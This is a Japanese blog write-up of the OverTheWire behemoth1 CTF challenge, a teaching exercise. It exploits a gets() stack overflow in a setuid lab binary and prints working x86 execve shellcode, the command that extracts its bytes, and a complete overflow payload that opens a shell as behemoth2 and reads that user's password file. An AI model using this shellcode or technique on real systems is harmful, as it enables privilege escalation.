#50 behemoth
先週、Buffer Overflowについての記事を書きました。今回は、実践編ということで、オンラインで公開されている問題を解いたので、解説したいと思います。
OverTheWireは、有志によって運営されているWebサイトで、CTF形式のチャレンジが用意されています。その中でもbehemothは、実行ファイルを解析してフラグを取得していくもので、Buffer Overflowを理解していないと手も足も出ません。behemoth1がまさしくBuffer Overflowを使う問題なので、やってみます。
※ネタバレになるので、今後チャレンジする予定の方はここで読むのをやめてください。本当にダメです。
behemoth1
behemoth1にチャレンジするためには、behemoth0をクリアしてパスワードを取得する必要があります。がんばってください。
SSHでサーバーに接続します。
$ ssh behemoth1@behemoth.labs.overthewire.org -p 2221
調査
攻略する実行ファイルは、/behemothに配置されています。まずは情報収集しましょう。
$ file /behemoth/behemoth1
behemoth1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=3a8805decc3b2529cd00f679aa3567f455c4995c, for GNU/Linux 3.2.0, not stripped
$ ltrace /behemoth/behemoth1
__libc_start_main(0x8049196, 1, 0xffffd4e4, 0 <unfinished ...>
printf("Password: ") = 10
gets(0xffffd3e5, 0, 0xf7d994be, 0xf7fab054Password: a
) = 0xffffd3e5
puts("Authentication failure.\nSorry."Authentication failure.
Sorry.
) = 31
+++ exited (status 0) +++
gets関数を使っていますが、これはダメです。Buffer Overflowに脆弱です。ここを狙う問題のようですね。
では、GDBで細かい挙動を確認します。少し調べると71バイト分書き込んだところで、Mainのリターンアドレスに到達することがわかります。リターンアドレスをうまく書き換えれば、任意の処理を実行させることができそうです。
gdb> run < <(python3 -c "print(71 * 'A' + 'BBBB')")
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fab000 --> 0x229dac
ECX: 0xf7fac9b4 --> 0x0
EDX: 0x1
ESI: 0xffffd4b4 --> 0xffffd62f ("/behemoth/behemoth1")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd400 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd400 --> 0x0
0004| 0xffffd404 --> 0xffffd4b4 --> 0xffffd62f ("/behemoth/behemoth1")
0008| 0xffffd408 --> 0xffffd4bc --> 0xffffd643 ("SHELL=/bin/bash")
0012| 0xffffd40c --> 0xffffd420 --> 0xf7fab000 --> 0x229dac
0016| 0xffffd410 --> 0xf7fab000 --> 0x229dac
0020| 0xffffd414 --> 0x8049196 (<main>: push ebp)
0024| 0xffffd418 --> 0x1
0028| 0xffffd41c --> 0xffffd4b4 --> 0xffffd62f ("/behemoth/behemoth1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
今回は、Buffer Overflowでリターンアドレスの書き換えと実行したいコードの書き込みを同時に実現できます。
攻撃コードの作成
ここが肝です。実行ファイルbehemoth1には、behemoth2のSUIDがついています。つまり、どのユーザーで実行してもbehemoth2の権限で実行されます。今回の目的は、この強い権限を奪って、behemoth2のパスワードを手に入れることです。
送り込む文字列は、
となります。Aの部分はなんでもよいです。リターンアドレスがシェルコードの先頭を指すようにすれば、任意コードが実行されるはずです。
簡単に、Shellを開くことにしましょう。ただし、bashやdashは、攻撃がうまくいっても権限を落としてしまうことがあるため、shを実行するようにしなければいけません。behemothの/bin/shは、dashのシンボリックリンクとなっているのでダメです。
$ find -name sh
./src/linux-headers-5.15.0-1017-aws/arch/sh
./src/linux-aws-headers-5.15.0-1017/drivers/dma/sh
./src/linux-aws-headers-5.15.0-1017/drivers/sh
./src/linux-aws-headers-5.15.0-1017/tools/perf/arch/sh
./src/linux-aws-headers-5.15.0-1017/arch/sh
./src/linux-aws-headers-5.15.0-1017/scripts/dtc/include-prefixes/sh
./src/linux-aws-headers-5.15.0-1017/sound/soc/sh
./src/linux-aws-headers-5.15.0-1017/sound/sh
./bin/sh
./lib/klibc/bin/sh
./share/bash-completion/completions/sh
./share/dpkg/sh
たぶんどれでもいいのですが、/lib/klibc/bin/shを使うことにして、アセンブリでシェルコードを書きます。
;payload.asm
[SECTION .text]
global _start
_start:
xor eax, eax
push eax
push 0x6873 ;/lib/klibc/bin/sh
push 0x2f2f6e69
push 0x622f6362
push 0x696c6b2f
push 0x62696c2f
mov ebx, esp
mov ecx, eax
mov edx, eax
mov al, 0xb
int 0x80
コンパイルして、バイト文字列に変換します。
$ nasm -f elf -o payload.o payload.asm
$ ld -m elf_i386 -o payload payload.o
$ for i in $(objdump -d payload |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xc0\x50\x68\x73\x68\x00\x00\x68\x69\x6e\x2f\x2f\x68\x62\x63\x2f\x62\x68\x2f\x6b\x6c\x69\x68\x2f\x6c\x69\x62\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80
GDBで攻撃コードを送り込んでみて、メモリの状況を確認すればリターンアドレスがわかります。findなどで探し当ててください。
最終的な攻撃コードは、こうなりました。
攻撃の実行
それでは、作成したコードを送り込んでみます。
$ (python2 -c 'print ("\x41" * 71) + "\x44\xd4\xff\xff" + ("\x41" * 100) + \
"\x31\xc0\x50\x68\x73\x68\x00\x00\x68\x69\x6e\x2f\x2f\x68\x62\x63\x2f\x62\x68\x2f\x6b\x6c\x69\x68\x2f\x6c\x69\x62\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"';\
cat -) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
behemoth2
cat /etc/behemoth_pass/behemoth2
********
Sorryと言われましたが、シェルが開いていてコマンドが実行できます。権限も、期待通りbehemoth2になっています!
まとめ
behemoth1で問われているのは、基本的な攻撃手法ですが、深くまで理解していないと苦戦します。かくいう私も、bashやdashで権限が落ちてしまうことを知らずハマりました。しかし、長時間格闘した分、力になった実感があります。
みなさんも、解答を見るのは最終手段にして、苦しんでみてください。
EOF
この記事が気に入ったらサポートをしてみませんか?